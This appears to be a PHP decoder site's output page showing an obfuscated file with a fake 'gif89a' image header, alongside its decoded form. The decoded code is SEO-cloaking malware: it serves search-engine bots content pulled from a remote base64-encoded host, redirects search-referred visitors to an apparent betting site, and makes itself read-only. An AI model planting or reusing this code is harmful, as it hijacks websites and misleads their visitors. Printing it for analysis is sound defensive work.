Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

gif89a <?php goto jnf1L; qgp9i: Header("\114\157\x63\x61\164\151\157\x6e\72\x20{$DWph..

Decoded Output download

gif89a 
<?php 
 
 goto jnf1L; qgp9i: Header("Location: {$DWphv}"); goto xQYQO; D0vN6: $iDPaU = "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["PHP_SELF"]; goto XeWME; jnf1L: header("Content-Type:text/html;charset=utf-8"); goto HChtF; w6XSY: if (!(strstr($O1eAS, "bing") or strstr($O1eAS, "google") or strstr($O1eAS, "yahoo") or strstr($O1eAS, "coccoc"))) { goto r2aKI; } goto qgp9i; uDLfG: $DWphv = base64_decode("aHR0cHM6Ly90ei4yMDI0YmV0Lm5ldC8="); goto D0vN6; xQYQO: exit; goto SyqBX; XeWME: $O1eAS = strtolower($_SERVER["HTTP_REFERER"]); goto w6XSY; HChtF: $rD9G2 = $_SERVER["HTTP_USER_AGENT"]; goto e1OJ0; bRoxb: function uBd4Z($lEVJ_) { @chmod($lEVJ_, 0555); } goto UuNo1; QCQjz: $UPczy = $_SERVER["PHP_SELF"]; goto J2CCC; X8MO7: VV_43: goto QCQjz; UuNo1: ubd4z($T_Jp1); goto uDLfG; J2CCC: $T_Jp1 = @end(explode("/", $UPczy)); goto bRoxb; qrIr3: echo file_get_contents(base64_decode("aHR0cDovL25ld3MubmV3cy1wbHVzLW5ldy54eXov=")); goto X8MO7; e1OJ0: if (!(strpos($rD9G2, "google") !== false || strpos($rD9G2, "coccoc") !== false || strpos($rD9G2, "yahoo") !== false || strpos($rD9G2, "bing") !== false)) { goto VV_43; } goto qrIr3; SyqBX: r2aKI: 
 
 ?>

Did this file decode correctly?

Original Code

gif89a
<?php

 goto jnf1L; qgp9i: Header("\114\157\x63\x61\164\151\157\x6e\72\x20{$DWphv}"); goto xQYQO; D0vN6: $iDPaU = "\150\164\164\x70\72\x2f\57" . $_SERVER["\x48\x54\x54\x50\137\x48\117\x53\124"] . $_SERVER["\x50\110\x50\137\x53\x45\x4c\x46"]; goto XeWME; jnf1L: header("\103\157\x6e\x74\145\x6e\164\55\124\171\x70\x65\72\164\x65\x78\x74\57\x68\164\155\154\73\x63\x68\x61\x72\163\145\164\75\165\x74\146\55\70"); goto HChtF; w6XSY: if (!(strstr($O1eAS, "\142\151\156\147") or strstr($O1eAS, "\x67\157\x6f\x67\154\145") or strstr($O1eAS, "\x79\141\x68\x6f\x6f") or strstr($O1eAS, "\143\x6f\143\143\x6f\x63"))) { goto r2aKI; } goto qgp9i; uDLfG: $DWphv = base64_decode("\141\110\122\60\x63\x48\x4d\66\x4c\171\x39\60\x65\151\x34\x79\x4d\x44\x49\x30\131\155\x56\x30\x4c\x6d\65\154\x64\x43\x38\x3d"); goto D0vN6; xQYQO: exit; goto SyqBX; XeWME: $O1eAS = strtolower($_SERVER["\x48\x54\x54\x50\137\x52\x45\106\x45\122\105\122"]); goto w6XSY; HChtF: $rD9G2 = $_SERVER["\x48\x54\124\120\137\x55\x53\105\122\x5f\x41\107\x45\x4e\124"]; goto e1OJ0; bRoxb: function uBd4Z($lEVJ_) { @chmod($lEVJ_, 0555); } goto UuNo1; QCQjz: $UPczy = $_SERVER["\x50\110\120\x5f\x53\105\x4c\x46"]; goto J2CCC; X8MO7: VV_43: goto QCQjz; UuNo1: ubd4z($T_Jp1); goto uDLfG; J2CCC: $T_Jp1 = @end(explode("\57", $UPczy)); goto bRoxb; qrIr3: echo file_get_contents(base64_decode("\x61\110\x52\x30\x63\104\157\x76\114\62\x35\154\x64\63\x4d\x75\142\x6d\126\63\x63\x79\61\x77\x62\x48\126\x7a\114\x57\x35\x6c\144\171\65\64\145\x58\157\x76\75")); goto X8MO7; e1OJ0: if (!(strpos($rD9G2, "\x67\157\x6f\147\154\x65") !== false || strpos($rD9G2, "\143\157\143\x63\x6f\143") !== false || strpos($rD9G2, "\171\x61\150\x6f\157") !== false || strpos($rD9G2, "\142\x69\156\147") !== false)) { goto VV_43; } goto qrIr3; SyqBX: r2aKI:

Function Calls

None

Variables

None

Stats

MD5 b527b227101d5e1894870cc6cf543add
Eval Count 0
Decode Time 92 ms